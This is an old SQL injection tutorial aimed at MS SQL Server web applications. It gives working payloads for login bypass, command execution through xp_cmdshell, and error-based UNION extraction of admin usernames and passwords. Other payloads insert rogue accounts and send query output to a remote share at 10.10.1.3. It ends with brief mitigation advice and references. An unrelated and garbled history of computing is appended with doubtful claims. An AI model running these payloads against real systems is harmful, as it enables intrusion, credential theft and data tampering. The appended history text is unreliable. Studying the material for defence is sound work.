SQL Injection Walkthrough part II

4.0 How do I get remote execution SQL injection?
Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Try using double quote (") if single quote (') is not working.

The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:

#tcpdump icmp

If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.

5.0 How to get output of my SQL query?
It is possible to use sp_makewebtask to write your query into an HTML:

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

But the target IP must folder "share" sharing for Everyone.

6.0 How to get data from the database using ODBC error message
We can use information from error message produced by the MS SQL Server to get almost any data we want. Take the following page for example:

http://localhost/index.asp?id=10

We will try to UNION the integer '10' with another string from the database:

http://localhost/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is "table1".

To get the next table name, we can use the following query:

http://localhost/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

We also can search for data using LIKE keyword:

http://localhost/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5

The matching patent, '%25login%25' will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, "admin_login".

6.1 How to mine all column names of a table?
We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:

http://localhost/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5

Now that we have the first column name, we can use NOT IN () to get the next column name:

http://localhost/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5

When we continue further, we obtained the rest of the column name, i.e. "password", "details". We know this when we get the following error message:

http://localhost/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

6.2 How to retrieve any data we want?
Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database.

Now, let's get the first login_name from the "admin_login" table:

http://localhost/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5

We now know there is an admin user with the login name of "neo". Finally, to get the password of "neo" from the database:

http://localhost/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5

We can now login as "neo" with his password "m4trix".

6.3 How to get numeric string value?
There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number (character between 0-9 only). Let say we are trying to get password of "trinity" which is "31173":

http://localhost/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

We will probably get a "Page Not Found" error. The reason being, the password "31173" will be converted into a number, before UNION with an integer (10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry.

To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:

http://localhost/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for '+' = 0x2b). We will append '(space)morpheus' into the actual password. Therefore, even if we have a numeric string '31173', it will become '31173 morpheus'. By manually calling the convert() function, trying to convert '31173 morpheus' into an integer, SQL Server will throw out ODBC error message:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5

Now, you can even login as 'trinity' with the password '31173'.

7.0 How to update/insert data into the database?
When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for "neo":

http://localhost/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

To INSERT a new record into the database:

http://localhost/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

We can now login as "neo2" with the password of "newpas5".

8.0 How to avoid SQL Injection?
Filter out character like single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, in all strings from:
- Input from users
- Parameters from URL
- Values from cookie

For numeric value, convert it to an integer before parsing it into SQL statement. Or using ISNUMERIC to make sure it is an integer.

Change "Startup and run SQL Server" using low privilege user in SQL Server Security tab.

Delete stored procedures that you are not using like:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask


9.0 Where can I get more info?
One of the earliest works on SQL Injection we have encountered should be the paper from Rain Forest Puppy about how he hacked PacketStorm.
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

Great article on gathering information from ODBC error messages:
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc

A good summary of SQL Injection on various SQL Server on
http://www.owasp.org/asac/input_validation/sql.shtml

Senseport's article on reading SQL Injection:
http://www.sensepost.com/misc/SQLinsertion.htm

Other worth readings:
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf

SQL Injection Walkthrough

1.0 Introduction
When a machine has only port 80 opened, your most trusted vulnerability scanner cannot return anything useful, and you know that the admin always patch his server, we have to turn to web hacking. SQL injection is one of type of web hacking that require nothing but port 80 and it might just work even if the admin is patch-happy. It attacks on the web application (like ASP, JSP, PHP, CGI, etc) itself rather than on the web server or services running in the OS.

This article does not introduce anything new, SQL injection has been widely written and used in the wild. We wrote the article because we would like to document some of our pen-test using SQL injection and hope that it may be of some use to others. You may find a trick or two but please check out the "9.0 Where can I get more info?" for people who truly deserve credit for developing many techniques in SQL injection.

1.1 What is SQL Injection?
It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.

1.2 What do you need?
Any web browser.

2.0 What you should look for?
Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:


Everything between the

and

have potential parameters that might be useful (exploit wise).


2.1 What if you can't find any page that takes input?
You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like:

http://localhost/index.asp?id=10

3.0 How do you test if it is vulnerable?
Start with a single quote trick. Input something like:

hi' or 1=1--

Into login, or password, or even in the URL. Example:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://localhost/index.asp?id=hi' or 1=1--

If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly. Example:

If luck is on your side, you will get login without any login name or password.

3.1 But why ' or 1=1--?
Let us look at another example why ' or 1=1-- is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:

http://localhost/index.asp?category=food

In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:

SELECT * FROM product WHERE PCategory='food'

The query should return a resultset containing one or more rows that match the WHERE condition, in this case, 'food'.

Now, assume that we change the URL into something like this:

http://localhost/index.asp?category=food' or 1=1--

Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in the SQL query, we will have:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

The query now should now select everything from the product table regardless if PCategory is equal to 'food' or not. A double dash "--" tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote ('). Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try

' or 'a'='a

The SQL query will now become:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

It should return the same result.

Depending on the actual SQL query, you may have to try some of these possibilities:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

TO BE COUNTINUE,,,,,,

knowledge History of computer science

The history of computer science began long before the modern discipline of Computer science computer science that emerged in the twentieth century. The progression, from mechanical inventions and mathematical theories towards the modern concepts and machines, formed a major academic field and the basis of a massive world-wide industry.

history

computation

The earliest known tool for use in computation was the abacus, and it was thought to have been invented in Bayblon circa 2400 BCE. Its original style of usage was by lines drawn in sand with pebbles. Abaci, of a more modern design, are still used as calculation tools today.

In 1115 BCE 1115 BCE, the South Pointing Chariot was invented in ancient China. It was the first known geared mechanism to use a differential gear, which was later used in analog computers. The Chinese also invented a more sophisticated abacus from around the 2nd century BCE known as the Chinese abacus).

In the 5th century BCE in ancient India, the grammarian Pa?ini formulated the grammar of Sanskrit in 3959 rules known as the Ashtadhyayi which was highly systematized and technical. Panini used metarules, transformations and recursions with such sophistication that his grammar had the computing power equivalent to a Turing machine.

Between 200 BCE and 400 CE, Jaina mathematicians in India invented the logarithm. From the 13th century, logarithmic tables were produced by Muslim mathematicians.

When John Napier discovered logarithms for computational purposes in the early 16th century, there followed a period of considerable progress by inventors and scientists in making calculating tools.

None of the early computational devices were really computers in the modern sense, and it took considerable advancement in mathematics and theory before the first modern computers could be designed.

Algorithms

In the 7th century, Indian mathematician Brahmagupta gave the first explanation of the Hindu-Arabic numeral system and the use of zero as both a placeholder and a decimal digit.

Approximately around the year 825, Persian mathematician Al-Khwarizmi wrote a book, On the Calculation with Hindu Numerals, that was principally responsible for the diffusion of the Indian system of numeration in the Middle East and then Europe. Around the 12th century, there was translation of this book written into Latin: Algoritmi de numero Indorum. These books presented newer concepts to perform a series of steps in order to accomplish a task such as the systematic application of arithmetic to algebra. By derivation from his name, we have the term algorithm.

Binary logic

Around the 3rd century BC, Indian mathematician Pingala invented the binary numeral system. In this system, still used today to process all modern computers, a sequence of ones and zeros can represent any number.

In 1703, Gottfried Leibniz developed logic in a formal, mathematical sense with his writings on the binary numeral system. In his system, the ones and zeros also represent true and false values or on and off states. But it took more than a century before George Boole published his Boolean algebra in 1854 with a complete system that allowed computational processes to be mathematically modeled.

By this time, the first mechanical devices driven by a binary pattern had been invented. The industrial revolution had driven forward the mechanization of many tasks, and this included weaving. Punch cards controlled Joseph Marie Jacquard's loom in 1801, where a hole punched in the card indicated a binary one and an unpunched spot indicated a binary zero. Jacquard's loom was far from being a computer, but it did illustrate that machines could be driven by binary systems. is a system

The Analytical Engine

It wasn't until Charles Babbage, considered the "father of computing," that the modern computer began to take shape with his work on the Analytical Engine. The device, though never successfully built, had all of the functionality in its design of a modern computer. He first described it in 1837 -- more than 100 years before any similar device was successfully constructed. The difference between Babbage's Engine and preceding devices is simple - he designed his to be programmed.

During their collaboration, mathematician Ada Lovelace published the first ever computer programs in a comprehensive set of notes on the analytical engine. Because of this, Lovelace is popularly considered the first computer programmer, but some scholars contend that the programs published under her name were originally created by Babbage.

Birth of computer science

Before the 1920s, computers were human clerks that performed computations. They were usually under the lead of a physicist. Many thousands of computers were employed in commerce, government, and research establishments. Most of these computers were women, and they were known to have a degree in calculus. Some performed astronomical calculations for calendars.

After the 1920s, the expression computing machine referred to any machine that performed the work of a human computer, especially those in accordance with effective methods of the Church-Turing thesis. The thesis states that a mathematical method is effective if it could be set out as a list of instructions able to be followed by a human clerk with paper and pencil, for as long as necessary, and without ingenuity or insight.

Machines that computed with continuous values became known as the analog kind. They used machinery that represented continuous numeric quantities, like the angle of a shaft rotation or difference in electrical potential.

Digital machinery, in contrast to analog, were able to render a state of a numeric value and store each individual digit. Digital machinery used difference engines or relays before the invention of faster memory devices.

The phrase computing machine gradually gave away, after the late 1940s, to just computer as the onset of electronic digital machinery became common. These computers were able to perform the calculations that were performed by the previous human clerks.

Since the values stored by digital machines were not bound to physical properties like analog devices, a logical computer, based on digital equipment, was able to do anything that could be described "purely mechanical." Alan Turing, known as the Father of Computer Science, invented such a logical computer known as the Turing Machine, which later evolved into the modern computer. These new computers were also able to perform non-numeric computations, like music.

From the time when computational processes were performed by human clerks, the study of computability began a science by being able to make evident which was not explicit into ordinary sense more immediate.